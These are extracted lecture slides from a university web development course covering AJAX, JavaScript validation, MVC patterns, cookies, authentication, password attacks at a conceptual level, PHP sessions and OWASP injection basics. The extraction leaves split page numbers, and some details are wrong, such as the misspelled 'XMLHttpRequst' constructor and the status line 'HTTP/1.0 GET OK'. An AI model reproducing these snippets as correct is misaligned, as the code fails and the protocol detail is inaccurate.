Asynchronous JavaScript and XML
• AJAX combines several existing web languages and
standards.
• AJAX helps to produce dynamic content on a web
page.

8
© 2020 e-Learning Centre, UCSC
2
Technologies associated with
AJAX

• JavaScript
• Server side scripting language (PHP,JSP, etc..)
• Extensible Markup Language (XML)
• HTML and CSS
• Document Object Model (DOM)

8
© 2020 e-Learning Centre, UCSC
3
Putting everything together

8
© 2020 e-Learning Centre, UCSC
4
Putting everything together
Step 01: JavaScript communicates with Web server
Step 02: Web server runs PHP program
Step 03: PHP program sends data through XML
Step 04: JS uses HTML and CSS for styling and
positioning data
Step 05: JavaScript uses DOM to place data in the
web page

IMPORTANT: AJAX created a special JavaScript object


that can communicate with web servers
8
© 2020 e-Learning Centre, UCSC
5
Communication between
JavaScript and the web server
• Initially XMLHTTP ActiveX object was introduced by
Microsoft to connect with the server and retrieving
web page’s content.
• Most of the other browsers did not adhere to the
standards of Microsoft.
• As a result new XMLHttpRequest object introduced.
• XMLHttpRequest object method was more popular
and supported by almost all browsers.

8
© 2020 e-Learning Centre, UCSC
6
XMLHttpRequest class methods

8
© 2020 e-Learning Centre, UCSC
7
Methods defined in
XMLHttpRequest object class
Following methods support in establishing and
communicating between JavaScript and server.

8
© 2020 e-Learning Centre, UCSC
8
Establishing the connection
• Use open() method to define connection between
browser and server.
• send() method of the XMLHttpRequest object
sends the request to the server.

var con = new XMLHttpRequst();


con.open(“GET”, “search.php” , true);
con.send();

8
© 2020 e-Learning Centre, UCSC
9
Parameters of open() method
Parameter 1:
• Specifies the method (GET or POST)
Parameter 2:
• The URL to send the request to
Parameter 3:
• Specifies the connection type (Synchronous or
Asynchronous)
Synchronous : Waits till response arrives to continue
Asynchronous: Does not wait till the response

9
© 2020 e-Learning Centre, UCSC
0
Difference of using GET and POST
• GET: Parameters of the request are added to the
URL itself

• POST: Parameters are sent within the send()


method

9
© 2020 e-Learning Centre, UCSC
1
XMLHttpRequest class properties

9
© 2020 e-Learning Centre, UCSC
2
XMLHttpRequest class properties

9
© 2020 e-Learning Centre, UCSC
3
States managed by readyState
property

State 0: The connection has not been initialized


State 1: The connection to the server has been established
State 2: The server received the HTTP request message
State 3: The server is processing the HTTP request
State 4: The server sent the response

9
© 2020 e-Learning Centre, UCSC
4
Caching and AJAX

9
© 2020 e-Learning Centre, UCSC
5
AJAX and Cached pages
• Web browsers are capable of caching the response
returned by a specific URL.
• It is important to reduce the amount of data the
browser must download from the server each time.
• Indirectly it cases minimizing the time to load a
web page.

9
© 2020 e-Learning Centre, UCSC
6
Is it problematic caching?
• When caching is applied to HTTP requests, sent by
the XMLHttpRequest object, there is an issue.
• Assume, you use the same URL to retrieve dynamic
data.
• What causes the error??
• Instead of dynamic data to be received, always the
cached data will be given
• Simply, the cached response will be used as the
valid response for the URL .

9
© 2020 e-Learning Centre, UCSC
7
How to solve cache issue with
AJAX
• Solution is to create a unique URL for each HTTP
request.
• This can be done by adding a large random number
as a GET variable/value pair.

9
© 2020 e-Learning Centre, UCSC
8
3.4 Client-side Validation with
3.4 Client-side Validation with JavaScript
JavaScript
IT3406 – Web Application Development II

© 2020 e-Learning Centre, UCSC


JavaScript for validations
• JavaScript code is used for client side validation as
it runs on browser.
• JavaScript is not success on all the time as the user
can disable JavaScript in the browser.
• Some of the brewers or versions may not support
• JavaScript is capable of whether the form field asre
filled with values, are they within the expected
bounds, format of the input, etc.

1
© 2020 e-Learning Centre, UCSC 0
JavaScript validations with a login
form example
• Create a login form with the fields username and
password as shown here.

1
© 2020 e-Learning Centre, UCSC 0
JavaScript validations with a login
form example
• HTML code to create the login form

1
© 2020 e-Learning Centre, UCSC 0
JavaScript validations with a login
form example
• Onsubmit() function calls the JavaScript validation
upon clicking the submit button of the form

1
© 2020 e-Learning Centre, UCSC 0
Validate username field
• Within the script tag write the following code to
validate the username field of the form.

1
© 2020 e-Learning Centre, UCSC 0
Validate username field
• The validateUsername function allows only the
characters a-z, A-Z, 0-9, _ and – as the input for the
username field.
• Further it ensures that usernames are at least five
characters long.
• If it is empty, it returns an error.
• Next, if the username entered is nor empty, but
shorter than five characters, it returns an error
message.

1
© 2020 e-Learning Centre, UCSC 0
Validate username field
• By passing regular expression to test function, it
matches any character that is not one of those
allowed in the regular expression.
• The defined regular expression will be matched
against the field value.
• If any character which is outside the definition of
the regular expression, the function returns true.
• Then the validateUser function returns an error
message.

1
© 2020 e-Learning Centre, UCSC 0
Validate password field
• Within the script tag write the following code to
validate the password field of the form.
• See the defined rules using regular expressions to
check the format of the input field .

1
© 2020 e-Learning Centre, UCSC 0
Validate password field
• First the function checks whether field is empty
• if it is empty, it returns an error
• Next, if the password entered is shorter than six characters, it
returns an error message
• Here the expression specifies three requirements for a
good password
• a lowercase, uppercase, and numerical character
• The test function is called three times, once for each of
these cases
• In case of an absence of any defined criteria, test
method returns false
• Otherwise, the empty string is returned.
1
© 2020 e-Learning Centre, UCSC 0
Putting all JavaScript in a separate
file
• It is good to separate the JS content from the HTML
code
• It makes the maintenance easier than having everything
together
• Link the external JS file into the code using script
tag
External JS File Name

<script src="validate_functions.js"></script>

1
© 2020 e-Learning Centre, UCSC 0
Regular Expressions
• Regular expressions are more important to define
the validation rules.
• Pattern matching is the main principal behind
regular expressions.
• Regular expression metacharacters are the key to
define rules for pattern matching in a more
simplified way.

1
© 2020 e-Learning Centre, UCSC 1
Regular expression metacharacters

1
© 2020 e-Learning Centre, UCSC 1
Regular expression metacharacters

1
© 2020 e-Learning Centre, UCSC 1
Regular expression metacharacters

1
© 2020 e-Learning Centre, UCSC 1
Activity
• Implement the following regular expressions and
see how it validates the pattern.

1
© 2020 e-Learning Centre, UCSC 1
Using regular expressions in JS
• JS uses regular expressions in two methods
frequently.
• test method (tells whether the argument matches the
regular expression)
• replace method (takes the second parameter for the
string to replace the text that matches)
• you have already seen) and replace. Whereas test
just, replace takes a second parameter: the string
to.

1
© 2020 e-Learning Centre, UCSC 1
Examples: test() and replace()
test()
document.write(/cats/i.test("Cats are funny. I like cats."))
• If the word cats appear in the string, it returns true.
replace()
document.write("Cats are friendly. I like cats.".replace(/cats/gi,"dogs"))
• Above statement replaces both occurrences of the word cats
with the word dogs.
Note:
• (/g) defines the search as global to find all occurrences.
• (/i) defines to be case-insensitive.
1
© 2020 e-Learning Centre, UCSC 1
3.5 : MVC Architecture and
Tradeoffs

1
© 2020 e-Learning Centre, UCSC 1
Lesson Outline

• MVC Architecture
• Model
• View
• Controller
• Communication among components in MVC
• Alternative Approaches to OOP Web
Development
• MVP method
• MVVM method

1
© 2020 e-Learning Centre, UCSC 1
MVC Architecture

1
© 2020 e-Learning Centre, UCSC 1
MVC Architecture
• MVC stands for model–view–controller.
• MVC method splits object oriented program code
into multiple parts.
• It makes it easier to code and implement the web
site using Object Oriented Programming (OOP).
• Separating the user view and data processing.
components help developers to efficiently code and
easily maintain the code at a later stage

1
© 2020 e-Learning Centre, UCSC 2
MVC Architecture
• The model: One or more classes that interact with
the application data.
• This helps in implementing the business logic to process
data, store and manipulate.
• The view: A class that displays the application data
in the graphical environment.
• The controller: Works as an intermediate for view
and model.
• Listens for user input and passes the input to the
appropriate model class methods for processing.

1
© 2020 e-Learning Centre, UCSC 2
MVC Architecture Component
Interaction Diagram

1
© 2020 e-Learning Centre, UCSC 2
The Model
• The model component contains majority of the
server-side coding (PHP).
• It provides a common interface between the
application and any data.
• The code for model resides between the
application and the database tables.
• Works with data storing, retrieving and
manipulating as required.

1
© 2020 e-Learning Centre, UCSC 2
The Model
• Most MVC model implementations use a technique
called object-relational mapping (ORM) to provide
this interface.
• The ORM class is responsible for handling the
methods for all interaction with the underlying
table (CRUD Operations):
• Creating new data records
• Reading existing data records
• Updating existing data records
• Deleting existing data records

1
© 2020 e-Learning Centre, UCSC 2
The View
• The view component is responsible for all the
output from the application.
• It takes the raw data provided by the model
component and formats it in a way that’s visually
pleasing to the application user.
• For our web applications, the view component is
where all the HTML and CSS code resides.
• Helps to create applications that support both
desktop and mobile environments with less effort.

1
© 2020 e-Learning Centre, UCSC 2
Views depending on the screen
size

1
© 2020 e-Learning Centre, UCSC 2
Views depending on the screen
size
• MVC architecture provides easy way of creating
applications that support multiple devices.
• All the other processes same except the view
generation.
• For example;
• Devices on the diagram submit the same HTTP request
to the controller, which forwards both requests to the
model.
• The model sends the same responses to the view, but
the view processes the responses differently (see
previous slide diagram).
1
© 2020 e-Learning Centre, UCSC 2
The Controller
• The controller accepts requests from the
application user and sends them to the
components required to satisfy the request.
• The controller uses routing to determine which
model class method to run based.
• on the client browser’s request. Routing maps the
specific HTTP GET or POST.
• request received from a client browser to a specific
model class method.

1
© 2020 e-Learning Centre, UCSC 2
The controller
• MVC controllers utilize the rewrite rules feature of
the webservers .
• Through rewrite rules, the url turns in to clean to
help clean up the format of the request URL.
Rewrite rules allow you to.
• customize the format of the URL to pass
information in a cleaner-looking format.
• than what the standard GET method uses.

1
© 2020 e-Learning Centre, UCSC 2
Communication sequence in MVC
1. The controller receives the request from users
2. The request will be passed to the appropriate
class method implemented in the model
3. The model class method performs the
appropriate action related to data
4. The model class method passes any resulting
data or status to the view
5. The view sends a response back to the website
with the data

1
© 2020 e-Learning Centre, UCSC 3
What issues exist in MVC
architecture
• The controller handles client requests but not
responsible for returning the responses.

• The model retrieves data but the view is


responsible for the formatting data.

• It is better if the view has the capability to format


the data according to the browser environment in
the client’s end.

1
© 2020 e-Learning Centre, UCSC 3
Other Architecture Models

1
© 2020 e-Learning Centre, UCSC 3
Model-View-Presenter (MVP)
model
• The model–view–presenter (MVP) method is
another popular method of creating object-
oriented web applications.
• In the MVP method, the view handles both the
request and response parts of the process, taking
on the MVC controller’s function of communicating
with the client.
• This eliminates the communication issues identified
in MVC method.

1
© 2020 e-Learning Centre, UCSC 3
MVP diagram

1
© 2020 e-Learning Centre, UCSC 3
MVP method
• The presenter acts as the middleman similar to
MVC architecture.
• It lies in between the model and the view.
• The client requests and calls the appropriate model
class methods.
• The result after processing the request, the
response is sent to presenter.
• Presenter passes the response to the view.

1
© 2020 e-Learning Centre, UCSC 3
Model-View-View Model (MVVM)
method
• Similar to the MVP method viewmodel acts as a
middleman between the view and the model .
• In presenter module it manipulates data in the
MVP method.
• MVVM method the viewmodel does not
manipulate the data.
• Viewmodel just provides an interface between the
view and the model.

1
© 2020 e-Learning Centre, UCSC 3
MVVM method diagram

1
© 2020 e-Learning Centre, UCSC 3
MVVM method
• The viewmodel creates an abstract layer between
the view and the model.
• This abstract layer allows the programmers working
on the view code.
• The mechanism of abstracting helps programmers
to work on separate parts without worrying the
way data are being processed in the underlying
layers.
• Code bases become easily manageable and
maintainable.
1
© 2020 e-Learning Centre, UCSC 3
End

139
4 : Introduction to Web Application Security

IT3406 – Web Application Development II


Level II - Semester 3

© 2020 e-Learning Centre, UCSC


Overview – Chapter 4

4.1. Secure Web Applications


4.2 Common Types of Vulnerabilities and Attacks on Web
Applications
4.3 Client Security Vs Server Security

© 2020 e-Learning Centre, UCSC 2


Overview – Chapter 4.1

4.1. Secure Web Applications


4.1.1. Setting, Accessing and Destroying a Cookie
4.1.2. HTTP Authentication - Storing Usernames and Passwords
4.1.3. Using Sessions – Starting and Ending Sessions, Session
Security and Timeout

© 2020 e-Learning Centre, UCSC 3


4.1. Secure Web Applications
4.1.1. Setting, Accessing and Destroying a Cookie

4
Storing Web Application Data

• Dynamic web application need a way to store temporary


data while visitors work their way through the application
web pages.
• Short-termed storage of data like authentication user’s
information which one web page can store, and another can
retrieve which help to track the site visitors and their
activities within the application.
• There is where HTTP cookies come in to play.

© 2020 e-Learning Centre, UCSC 5


Purpose of HTTP Cookies
• Session in a Mainframe Computer World
• People who need to access programs running on the system must
first log in to the system by entering some type of data that uniquely
identifies you, such as typing a user ID, placing finger on a scanner, or
inserting a smart ID card that includes a unique encrypted key.
• When the system authenticates that you are who you say you are, it
allows you access to the system and your data.
• The mainframe tracks every transaction you perform within the
session.
• A system administrator can look through the log file and identify the
user who performed each transaction on the system
• Session in a http Standard
• A web session consists of a single transaction, and it doesn’t even
require an ID to identify the user
• Session in a Dynamic Web Applications
• Hybrid of the both, want to maintain the ease of an HTTP anonymous
session, and need to track users and their transactions like a
mainframe session. Where we use cookies.
© 2020 e-Learning Centre, UCSC 6
Purpose of HTTP Cookies

© 2020 e-Learning Centre, UCSC 7


Cookies

• Cookies are data that a server can temporarily store in the


browser of each site visitor.
• When the browser stores cookie data, server can retrieve
that information in later transactions with the site visitor.
• This allows the server (i.e, the server-side application) to
identify individual site visitors and keep track of what they’re
doing within the application.
• This is the beginning of a true web session…

© 2020 e-Learning Centre, UCSC 8


© 2020 e-Learning Centre, UCSC 9
Type of Cookies

• HttpOnly: Can only be accessed via HTTP, not via JavaScript


• Persistent: Standard type of cookie, Expires at a specific
date/time or after a specific length of time. A web server can
only retrieve and read the cookies that it sets
• SameSite: Can only be sent in requests from the same
origin as the target domain
• Secure: Can only be sent in HTTPS connections
• Session: Expires when the client browser window closes. A
web server can only retrieve and read the cookies that it sets
• Supercookie: Uses a top-level domain as the origin,
allowing multiple websites access
• Third-party: Uses a domain that doesn’t match the URL
domain for the web page.
1
© 2020 e-Learning Centre, UCSC
0
Type of Cookies

1
© 2020 e-Learning Centre, UCSC
1
How cookie works ?

1
© 2020 e-Learning Centre, UCSC
2
How Cookie Works?

• When a client browser requests to view a web page on a


server, it sends an HTTP GET request:
GET /index.php
Host: www.myserver.com
• The host server returns an HTTP response, which includes
the status code for the request, along with any cookies that
it wants to set using the Set-Cookie statement and then the
HTML for the requested web page:
HTTP/1.0 GET OK
Content-type: text/html
Set-Cookie: name1=value1; attributes
Set-Cookie: name2=value2; attributes
Web page HTML content

1
© 2020 e-Learning Centre, UCSC
3
How Cookie Works? (Cont…)

• The client browser stores each cookie as a separate


temporary file on the client workstation.
• The next time the client browser requests a web page from
the same destination, it sends all the cookies set from that
destination in the HTTP request using a single Cookie
statement
GET /index.php
Host: www.myserver.com
Cookie: name1=value1; name2=value2
• The server can then extract the separate cookie names and
values and pass them to any server-side programming
language like PHP.

1
© 2020 e-Learning Centre, UCSC
4
Cookie Attributes
Attribute Description
Domain=site Specifies the domain the cookie applies to. If omitted
the server is the default location.
Expires=datetime Specifies the expiration date for the cookie as an HTTP
timestamp value.
HttpOnly Specifies that the cookie can only be retrieved in an
HTTP session.
Max-Age=number Specifies the expiration time for the cookie in seconds
Path=path Indicates the path in the URL that must exist in the
requested resource.
SameSite=setting Specifies if the cookie can only be accessed from the
same site that set it. Values are Strict or Lax.
Secure Specifies that the cookie can only be sent in an HTTPS
secure session
1
© 2020 e-Learning Centre, UCSC
5
Setting Cookies - setcookie()

setcookie(name [, value] [, expire] [, path] [, domain] [, secure] [,


httponly]

• function is used to set new cookies update existing cookies


• name is the only required parameter
• Although we need to set a value, we can leave it empty
where it will be automatically assigned as null.
• Expire parameter specify expiration date and time as a time
stamp value not as a standard date and time.
• Path is used to set the URL path domain used to set
domains allowed to access the cookie
• Last two will specify whether the cookie is secure or
httponly
• Set the cookie before send any HTML content, including the
opening <!DOCTYPE> tag, since the cookie is part of the
HTTP message and not part of the HTML data.
1
© 2020 e-Learning Centre, UCSC
6
Reading Cookies

• The PHP server automatically places all cookies passed from


the client in the $_COOKIE[] special array variable.
• The cookie name assigned in the setcookie() statement
becomes the associative array key:
$_COOKIE['name’]
• When trying to access an expired cookie from the
$_COOKIE[] array it will give an error message, to eliminate
that better to check isset() before using the cookie.
if (isset($_COOKIE['test'])) { }

1
© 2020 e-Learning Centre, UCSC
7
Modifying and Deleting Cookies

• Resend a cookie with updated values to modify the cookie


• Set the expiration time to a time value in the past to delete a
cookie.
• We can set the time to one second earlier to the current
time.
setcookie("test1", "", time() – 1);
• Time need to be set s a time stamp value and not as
standard date and time,
• Time() will give the current time, need to add or subtract the
time in seconds according to our requirement.

1
© 2020 e-Learning Centre, UCSC
8
Activity 01

• Why we need cookies?


• What is the difference between session cookie and
persistence cookie?
• What are the attributes of a cookie?
• Write the code to set a cookie and read the cookie.
• Write code to destroy a cookie.

1
© 2020 e-Learning Centre, UCSC
9
4.1. Secure Web Applications
4.1.2. HTTP Authentication - Storing Usernames and
Passwords

20
Authentication

• Authentication is the process in which a person proves that


they are who they claim to be.
• This process has two steps
• Identification - claiming to be a certain person
• Confirmation – allow subject to prove that claim
• Identity confirming factors can be categorized in to three
groups,
• Something you know (knowledge)- passwords, pin, pass
phrase
• Something you have (possession)- digital certificate, smart
card, security token
• Something you are (inherence)- fingerprint, retinal pattern,
hand geometry, topography of your face

2
© 2020 e-Learning Centre, UCSC
1
Identity confirming factors

2
© 2020 e-Learning Centre, UCSC
2
Two-Factor and Three-Factor Authentication

• Two-Factor authentication means validating someone's


identity using two factors from two of the three categories
(knowledge, possession, and inherence)
Example 01:
authenticating at an ATM, where we need a card and a pin.
Two factor authentication
Card - possession, Pin – knowledge
Example 02:
Using password, pin and a card
Two factor authentication
Card - possession, Pin, Password – knowledge
• Three-Factor authentication means at lease having one
factor from three categories (knowledge, possession, and
inherence).

2
© 2020 e-Learning Centre, UCSC
3
Examples of Multi Factor Authentication

2
© 2020 e-Learning Centre, UCSC
4
Web Application Authentication

• User name and the password are the standard for


authenticating to web applications.
• Under certain circumstances second factor such as hardware
or software security tokens may be used to increase the
security
• Those instances tend to be rare.

2
© 2020 e-Learning Centre, UCSC
5
Password-Based Authentication System

Different username password Authentication systems


exist for web applications.
• Basic Access Authentication
• Digest Access Authentication
• Single sign-on solutions
• Custom-developed authentication mechanisms

2
© 2020 e-Learning Centre, UCSC
6
Built-In HTTP Authentication

• HTTP protocol specification provides Basic Access


Authentication and Digest Access Authentication two build-
in authentication mechanisms
• Both of these authentication methods have significant
weaknesses, and they are not recommended to use in any
circumstances.

Web Application Security, A Beginner's GuideMcGraw-Hill Education;by Bryan Sullivan and Vincent Liu, 1st Edition (2011)

2
© 2020 e-Learning Centre, UCSC
7
Basic Access Authentication

Basic access authentication requires a user to enter a username


and password before accessing a resource on the web server.
1. When user attempts to access a protected resource on a web
server, web server will respond with 401 Authorization
Require response code.
2. When browser sees this response, it will pop up a dialog box
to get user credentials.
3. After submitting the credentials, browser will concatenate
username and password with a colon ‘:’ in middle ,then
base64-encoded and submitted via GET request
4. If the credentials are accepted by the server, protected
resource returned to the user
*This method of authentication is insecure for several reasons

2
© 2020 e-Learning Centre, UCSC
8
Basic Access Authentication

2
© 2020 e-Learning Centre, UCSC
9
Basic Access Authentication - Insecure

1. Insecure Transmission
• Since the data are encoded not encrypted, attacker can decode them since
it lack the security provided by encryption.
• To secure credentials in transit, it must be submitted over SSL connection
or encrypted medium
2. Repeated Exposure
• Credentials must be submitted with the every single request for a
protected resources.
• Credentials are exposed over and over with each request to the web server
3. Insecure Storage
• Since credentials need to submit with each request, the browser caches the
authentication credentials.
• Since no session is created, we cant invalidate a session with the web
server.
• The only way to clear the stored credentials is to close the tab and clear
the history.
3
© 2020 e-Learning Centre, UCSC
0
Digest Access Authentication

• Similar to Basic Access Authentication, except MD5 hashing


algorithm is used to transform the password along with the
other information, before it transmitted.
• Although Digest Access Authentication is slightly better
than Basic Access Authentication since transmitting the
digest, this method is vulnerable to man-in-the-middle
attack
• Since it is possible to trick the client into downgrading the
security back to Basic Authentication or older Digest
authentication mechanism.

3
© 2020 e-Learning Centre, UCSC
1
Digest Access Authentication

3
© 2020 e-Learning Centre, UCSC
2
Activity 02

• Create an account in https://www.hackthissite.org/


• Click the basic mission link

• Complete the sixth mission.

3
© 2020 e-Learning Centre, UCSC
3
Single Sign-on Authentication (SSO)

3
© 2020 e-Learning Centre, UCSC
4
Single Sign-on Authentication (SSO)

• Single sign-on Authentication permits a user to use one set


of credentials to access multiple applications
• Google, LinkedIn, Twitter and Facebook offer SSO services
which enable user to log in to a third-party application with
their social media authentication credentials.
• Although it enables users to remember and mange fewer
passwords and usernames convenience to users, it can
present security risks because it creates a single point of
failure that can be exploited by attackers.

3
© 2020 e-Learning Centre, UCSC
5
Custom Developed Authentication Mechanisms

• Custom-developed authentication mechanisms are the


logics coded by developers to process credentials for their
own applications
• Custom authentication is the most common authentication
mechanism

3
© 2020 e-Learning Centre, UCSC
6
Web Authentication Process

Web Application Security, A Beginner's GuideMcGraw-Hill Education;by Bryan Sullivan and Vincent Liu, 1st Edition (2011)
3
© 2020 e-Learning Centre, UCSC
7
Web Authentication Process (Cont…)

1. Using a browser a user requests the login page from the


web application such as www.website.cxx/login.html
2. The web application returns the login page to the browser
3. The user enters credentials into the input fields and
submits the form. After submit the form to the web
application, browser will include the form fields as part of
the HTTP POST request.
4. After receiving the request, web application parse the
information in the HTTP message and extract the values

3
© 2020 e-Learning Centre, UCSC
8
Web Authentication Process (Cont…)
5. The web application logic queries the back-end data stores
to determine whether or not the password entered is
associated with the username entered.
a. If the matching unsuccessful web application sends an error message
along with login page
b. If successfully matched, web application will established a session with
a user by generating a session ID value and returning it to the user by
setting a cookie in the HTTP response.
6. When the browser receives and parse the HTTP response, it
will observe the Set-Cookie directive in the HTTP header and
store the value of the session ID
a. Since session ID value was set in a cookie, browser will submit the
session ID alongside all requests made to the web application. This is
a form of persistent authentication since user don’t need to enter
credentials again and again to authenticate every request.
b. When web application parse a request from this browser see the
session ID values and know that an existing session has already been
established and authorized each request within the application logic
3
© 2020 e-Learning Centre, UCSC
9
Activity 03

• What is the process of authenticating a person?


• List the confirming factor categories and give two examples
for each.
• Compare two-factor and three-factor authentication
• Evaluate the 4 different Password-Based Authentication
Systems discussed in the slides

4
© 2020 e-Learning Centre, UCSC
0
Validating Credentials
• There are different ways to determine whether the supplied
password associate with the supplied username.
• There are basically two variable involved in validating credentials,
1. Location of the comparison logic
a. Within application
b. Database
2. How the password is stored
a. Plain text – Compare plain text
b. Hashed – Compare the hashed values
• Taking the cross-product of these variables give 4 approaches to
validate the credentials
1. Comparison logic in the application with plaintext passwords
2. Comparison logic in the database with plaintext passwords
3. Comparison logic in the application with hashed passwords
4. Comparison logic in the database with hashed passwords

4
© 2020 e-Learning Centre, UCSC
1
Attacks Against Passwords
• Since password is pervasive as an authentication factor in web
applications, they are very popular target of attackers.
• All attacks against password try to determine the plain text
value of password.
• Basically there are two types of attempts to determine the
plain text,
• Against live system (online)
• Against the hashed or encrypted password value (offline)

4
© 2020 e-Learning Centre, UCSC
2
Attacks Against Passwords - Online
• Online attacks are slow

Web Application Security, A Beginner's GuideMcGraw-Hill Education;by Bryan Sullivan and Vincent Liu, 1st Edition (2011)
4
© 2020 e-Learning Centre, UCSC
3
Attacks Against Passwords - Offline
• Offline attacks are much faster

Web Application Security, A Beginner's GuideMcGraw-Hill Education;by Bryan Sullivan and Vincent Liu, 1st Edition (2011)
4
© 2020 e-Learning Centre, UCSC
4
Attacks Against Passwords (Cont…)
Common attack variations include,
• Dictionary attack -
• Try to find the password by entering real words can be found in
dictionaries
• In some cases real world dictionaries or permutated
dictionaries(appending a digit or special character) will be used.
• Brute-force attack (Exhaustive key search) -
• Theoretically, attempting every single possible key
• Practically, place several limitations based on the length, character
set
• This is rarely used and used in offline attacks against hashed
password values
• Precomputed dictionary attack -
• Hashed the dictionaries and store in a disk in advance and used the
hash only to match two password hashes
• Trade time for disk space
• Rubber-hose attack -
• Extracting password from individuals using any sort of physical
coercion
4
© 2020 e-Learning Centre, UCSC
5
Activity 04

• Discuss how online and offline attacks against password can


happen in the forum.

4
© 2020 e-Learning Centre, UCSC
6
Password Best Practices
• Improve the size of the key and make key space larger
The number of possible permutations of a set of x characters with
length y is calculated with x^y.
26^12 = 9.54*1016
• Regularly change the password
Best practice is to rotate password at least every 90 days.
• Use unique passwords when changing the password
When rotating the password we shouldn’t use the a password which
has been used recently.
• Allow accounts to be disabled when they are not using it
• Properly store passwords
Store only if it is absolutely necessary without using plain text and
encryption. Use strong hashing.
• Use random salt values with each password
In addition to hashing use random salt value to increase security

4
© 2020 e-Learning Centre, UCSC
7
Secure Authentication Best Practices
• Secure the transmission by using an encrypted channel
• To counter online attacks we can lock accounts after certain
number if failed logins
• Using CAPTCHAs which can only be answered by a human to
discourage online brute force attacks
• Allow accounts to be disabled when user is not using the
system for a while
• Don’t release applications to production with default accounts
such as ‘Admin’, ‘Administrator’, ‘Guest’
• Don’t hard code credentials within the web application

4
© 2020 e-Learning Centre, UCSC
8
4.1. Secure Web Applications
4.1.3. Using Sessions – Starting and Ending Sessions,
Session Security and Timeout

49
Session

• PHP handles sessions and session cookies a little differently


from persistent cookies.
• Instead of storing session cookies in the client browser as
separate data files, PHP assigns a unique session ID to
each site visitor session and stores that as a session cookie
in the client browser.
• PHP then stores any data associated with the session in a
temporary file located on the actual PHP server. This
helps protect the session data, because it’s not being stored
in the client browser at any time.
• When the session ends, PHP automatically deletes the
temporary session file on the server.
• The only data sent between the client browser and the
server is the session ID value assigned to the session. All
the data stays local on the server

5
© 2020 e-Learning Centre, UCSC
0
Session

5
© 2020 e-Learning Centre, UCSC
1
Starting a Session

• Before set or read any session data, need to start the


session.
• session_start() will send required HTTP code to the remote
client browser to create session cookie
• PHP assign a unique ID value to the session cookie in order
to identify the session.
• session_start() should come before any HTML code include
<!DOCTYPE> tag.
• Need to add this function to the beginning of all the web
pages need to access session data.

5
© 2020 e-Learning Centre, UCSC
2
Storing and Retrieving Session Data

• $_SESSION[] array variable can be used to both set and


retrieve session data.
• To set a new value, just define it in an assignment statement
$_SESSION[‘session_1’] = “apple";
• To retrieve the data we can use the same $_SESSION[] array
variable with the session cookie name as the associative
array key at any time in any web page that’s part of the same
session
echo "You purchased a " . $_SESSION[‘session_1’];

5
© 2020 e-Learning Centre, UCSC
3
Removing Session Data

There are three ways to remove cookie data,


1. Remove individual session values.
• Use the unset() function, along with the session array variable
• unset($_SESSION[‘session_1’]);
• This removes the session name/value pair from the session data
in the temp file on the server, but maintains the temp file and the
session ID session cookie in the client browser.
2. Remove all session values but keep the session active.
• Use the session_unset() function
• session_unset();
3. Remove the original session ID session cookie, which deletes
the session.
• Use the session_destroy() function anywhere in your PHP
application
• This removes all session name/value pairs associated with the
session, as well as the session ID value assigned to the client
browser’s session cookie.

5
© 2020 e-Learning Centre, UCSC
4
Activity 05

• How session works in php discuss in the forum


• Mark true or false of the following statements
• We need to start the session before set session data – T
• session_start() should come after <!DOCTYPE> tag – F
• It is enough to add the session_start() function to the
index.php – F
• $_SESSION[] variable can be used to set and retrive
session data – T

5
© 2020 e-Learning Centre, UCSC
5
Summary

• Types of cookies
• Attributes of cookies
Cookies • Setting cookies
• Reading cookies
• Modifying and deleting cookies

• Authentication fundamentals
• Web application authentication
Authentication • Attacks against password
• Password best practices
• Web authentication best practices

• Starting a session
Session • Storing
© 2020 e-Learning and retrieving data
Centre, UCSC

• Removing data
5
© 2020 e-Learning Centre, UCSC
6
Overview – Chapter 4.2

4.2. Common types of vulnerabilities and attacks on web


applications
4.2.1. Injection
4.2.2. Cross-site scripting
4.2.3. Broken authentication and session management
4.2.4. Security misconfiguration
4.2.5. Insecure cryptographic storage
4.2.6. Failure to restrict URL access
4.2.7. Unvalidated redirects and forwards
Vulnerabilities included in OWASP Top Ten List

5
© 2020 e-Learning Centre, UCSC
7
Activity 06

• Create an account in https://www.hackthissite.org/


• Click the basic mission link

• Complete the first mission

5
© 2020 e-Learning Centre, UCSC
8
4.2. Common Types of Vulnerabilities
4.2.1. Injection

59
Injection

• Injection flaws, such as SQL, NoSQL, OS, and LDAP


(Lightweight Directory Access Protocol) injection, occur
when untrusted data is sent to an interpreter as part of a
command or query.
• The attacker’s hostile data can trick the interpreter into
executing unintended commands or accessing data without
proper authorization.

6
© 2020 e-Learning Centre, UCSC
0
Injection

6
© 2020 e-Learning Centre, UCSC
1
Injection - Security Weakness

• Injection flaws are very prevalent, particularly in legacy code.


• Injection vulnerabilities are often found in SQL, LDAP, XPath,
or NoSQL queries, OS commands, XML parsers, SMTP
headers, expression languages, and ORM queries.
• Injection flaws are easy to discover when examining code.
• Scanners and fuzzers can help attackers find injection flaws.

6
© 2020 e-Learning Centre, UCSC
2
Injection - Impacts

• Injection can result in data loss, corruption, or


disclosure to unauthorized parties, loss of
accountability, or denial of access. Injection can
sometimes lead to complete host takeover.
• The business impact depends on the needs of the
application and data.

6
© 2020 e-Learning Centre, UCSC
3
Injection – Vulnerabilities

• User-supplied data is not validated, filtered, or sanitized by the


application.
• Dynamic queries or non-parameterized calls without context-
aware escaping are used directly in the interpreter.
• Hostile data is used within object-relational mapping (ORM)
search parameters to extract additional, sensitive records.
• Hostile data is directly used or concatenated, such that the SQL or
command contains both structure and hostile data in dynamic
queries, commands, or stored procedures.
Some of the more common injections are SQL, NoSQL, OS
command, Object Relational Mapping (ORM), LDAP, and Expression
Language (EL) or Object Graph Navigation Library (OGNL) injection.
The concept is identical among all interpreters. Source code review
is the best method of detecting if applications are vulnerable to
injections, closely followed by thorough automated testing of all
parameters, headers, URL, cookies, JSON, SOAP, and XML data
inputs.
Organizations can include static source (SAST) and dynamic
application test (DAST) tools into the CI/CD pipeline to identify
newly introduced injection flaws prior to production deployment.
6
© 2020 e-Learning Centre, UCSC
4
Injection – How to Prevent

• Preventing injection requires keeping data separate from


commands and queries.
• The preferred option is to use a safe API, which avoids the use of
the interpreter entirely or provides a parameterized interface, or
migrate to use Object Relational Mapping Tools (ORMs).
Note: Even when parameterized, stored procedures can still
introduce SQL injection if PL/SQL or T-SQL concatenates queries and
data, or executes hostile data with EXECUTE IMMEDIATE or exec().
• Use positive or “whitelist” server-side input validation. This is not a
complete defense as many applications require special characters,
such as text areas or APIs for mobile applications.
• For any residual dynamic queries, escape special characters using
the specific escape syntax for that interpreter.
Note: SQL structure such as table names, column names, and so on
cannot be escaped, and thus user-supplied structure names are
